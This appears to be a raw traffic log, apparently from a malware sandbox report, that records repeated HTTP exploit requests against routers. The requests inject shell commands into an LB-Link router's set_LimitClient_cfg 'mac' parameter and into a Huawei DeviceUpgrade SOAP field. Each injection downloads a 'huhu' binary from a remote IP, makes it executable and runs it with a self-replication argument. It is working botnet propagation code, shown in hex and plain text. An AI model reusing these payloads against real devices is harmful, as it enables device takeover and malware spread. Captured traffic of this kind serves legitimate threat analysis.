Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
